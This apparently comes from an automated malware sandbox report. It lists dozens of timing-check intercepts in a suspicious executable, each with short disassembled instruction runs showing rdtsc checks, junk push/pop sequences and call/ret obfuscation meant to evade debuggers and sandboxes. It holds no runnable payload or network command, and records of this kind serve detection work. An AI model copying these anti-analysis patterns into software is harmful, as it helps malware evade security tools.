Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A268D9 second address: A268DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A268DF second address: A268E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A268E5 second address: A268F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F588123DB8Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A268F7 second address: A26918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F588136DCC7h 0x00000009 jc 00007F588136DCB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26918 second address: A26939 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F588123DB86h 0x00000008 jmp 00007F588123DB8Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F588123DB92h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26939 second address: A2693F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2693F second address: A26954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F588123DB94h 0x0000000c push esi 0x0000000d je 00007F588123DB86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26BF0 second address: A26C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26E70 second address: A26E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB98h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26E8C second address: A26E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26E92 second address: A26E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26E98 second address: A26E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A285C1 second address: A285C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2A53A second address: A2A549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2A549 second address: A2A54F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AEA9 second address: A2AED2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F588136DCC7h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AED2 second address: A2AED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AED6 second address: A2AEE0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AFD1 second address: A2AFD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AFD7 second address: A2AFEC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F588136DCBCh 0x00000008 jnl 00007F588136DCB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2AFEC second address: A2AFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2B1AF second address: A2B1B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2B41A second address: A2B428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F588123DB86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2B428 second address: A2B487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F588136DCB8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2843h], edx 0x0000002d jmp 00007F588136DCC2h 0x00000032 push eax 0x00000033 je 00007F588136DCC4h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2CC98 second address: A2CC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2DC58 second address: A2DC62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F588136DCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2DC62 second address: A2DC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2E96E second address: A2E972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2F403 second address: A2F45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F588123DB86h 0x0000000a popad 0x0000000b pushad 0x0000000c je 00007F588123DB86h 0x00000012 jmp 00007F588123DB8Dh 0x00000017 popad 0x00000018 popad 0x00000019 mov dword ptr [esp], eax 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F588123DB88h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov esi, dword ptr [ebp+122D393Eh] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D2861h], ebx 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2F19E second address: A2F1A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2F45C second address: A2F465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2F1A2 second address: A2F1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2F1A8 second address: A2F1BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F588123DB8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A30012 second address: A300B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F588136DCC8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F588136DCC6h 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D2AEFh], edi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F588136DCB8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 js 00007F588136DCBBh 0x0000003c mov edi, 0C7DB25Ah 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F588136DCB8h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 0000001Ah 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d pushad 0x0000005e and al, FFFFFFF3h 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F588136DCBEh 0x0000006b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A30A98 second address: A30AF2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F588123DB8Ch 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 mov edi, 428505EBh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F588123DB88h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D1E68h], edi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F588123DB91h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A30AF2 second address: A30AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F588136DCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3081F second address: A30835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F588123DB8Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A30835 second address: A3083C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3291C second address: A32931 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F588123DB86h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A34919 second address: A3491D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A33B70 second address: A33B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F588123DB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A33B7A second address: A33B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a js 00007F588136DCB8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 jmp 00007F588136DCBDh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A36AB4 second address: A36B31 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F588123DB86h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F588123DB97h 0x00000012 nop 0x00000013 sbb di, 54B5h 0x00000018 push 00000000h 0x0000001a mov di, 04E5h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F588123DB88h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov ebx, dword ptr [ebp+122D32B1h] 0x00000040 mov dword ptr [ebp+124743A4h], edx 0x00000046 xchg eax, esi 0x00000047 jmp 00007F588123DB8Bh 0x0000004c push eax 0x0000004d jl 00007F588123DB9Ah 0x00000053 pushad 0x00000054 jmp 00007F588123DB8Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A35BEC second address: A35BF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F588136DCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A35BF6 second address: A35C0F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F588123DB8Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A35C0F second address: A35C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A35C15 second address: A35C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A38C06 second address: A38C14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F588136DCB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A38C14 second address: A38C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A38C18 second address: A38C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A37CB4 second address: A37CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A39C8D second address: A39D1D instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D33ADh] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F588136DCB8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e sub dword ptr [ebp+12453B06h], ecx 0x00000034 call 00007F588136DCBDh 0x00000039 pushad 0x0000003a mov esi, dword ptr [ebp+122D3AD6h] 0x00000040 mov dword ptr [ebp+124743A4h], ebx 0x00000046 popad 0x00000047 pop ebx 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push edx 0x0000004d call 00007F588136DCB8h 0x00000052 pop edx 0x00000053 mov dword ptr [esp+04h], edx 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc edx 0x00000060 push edx 0x00000061 ret 0x00000062 pop edx 0x00000063 ret 0x00000064 cld 0x00000065 xchg eax, esi 0x00000066 jc 00007F588136DCBEh 0x0000006c jnl 00007F588136DCB8h 0x00000072 push eax 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A39D1D second address: A39D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3ACB1 second address: A3ACBB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3CD21 second address: A3CD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3AE52 second address: A3AE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3E9EF second address: A3E9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3DBEF second address: A3DBF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3F961 second address: A3F9D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F588123DB88h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1E9Bh], eax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F588123DB88h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+1247F683h], edi 0x0000004e push 00000000h 0x00000050 mov ebx, dword ptr [ebp+122D3B36h] 0x00000056 xchg eax, esi 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3F9D4 second address: A3F9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3F9D8 second address: A3F9ED instructions: 0x00000000 rdtsc 0x00000002 jno 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F588123DB86h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3F9ED second address: A3F9F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3F9F7 second address: A3F9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A407C0 second address: A407E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a jng 00007F588136DCC5h 0x00000010 jmp 00007F588136DCBFh 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A3FB60 second address: A3FC08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2FB4h], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 and ebx, dword ptr [ebp+122D37EEh] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F588123DB88h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 movsx edi, si 0x00000043 mov eax, dword ptr [ebp+122D0151h] 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007F588123DB88h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 00000015h 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 jg 00007F588123DB93h 0x00000069 push FFFFFFFFh 0x0000006b mov di, 9366h 0x0000006f nop 0x00000070 jnp 00007F588123DB91h 0x00000076 jmp 00007F588123DB8Bh 0x0000007b push eax 0x0000007c push ecx 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A418E2 second address: A41946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F588136DCB8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 sub ebx, dword ptr [ebp+122D32BCh] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F588136DCB8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 push 00000000h 0x00000046 mov di, 1AE0h 0x0000004a push eax 0x0000004b push ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e js 00007F588136DCB6h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A41946 second address: A4194A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A40A52 second address: A40A5C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A40A5C second address: A40A61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A41A64 second address: A41A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F588136DCB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E329F second address: 9E32AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E32AD second address: 9E32B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E32B1 second address: 9E32D3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F588123DB86h 0x00000008 jmp 00007F588123DB90h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F588123DB92h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E32D3 second address: 9E32D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
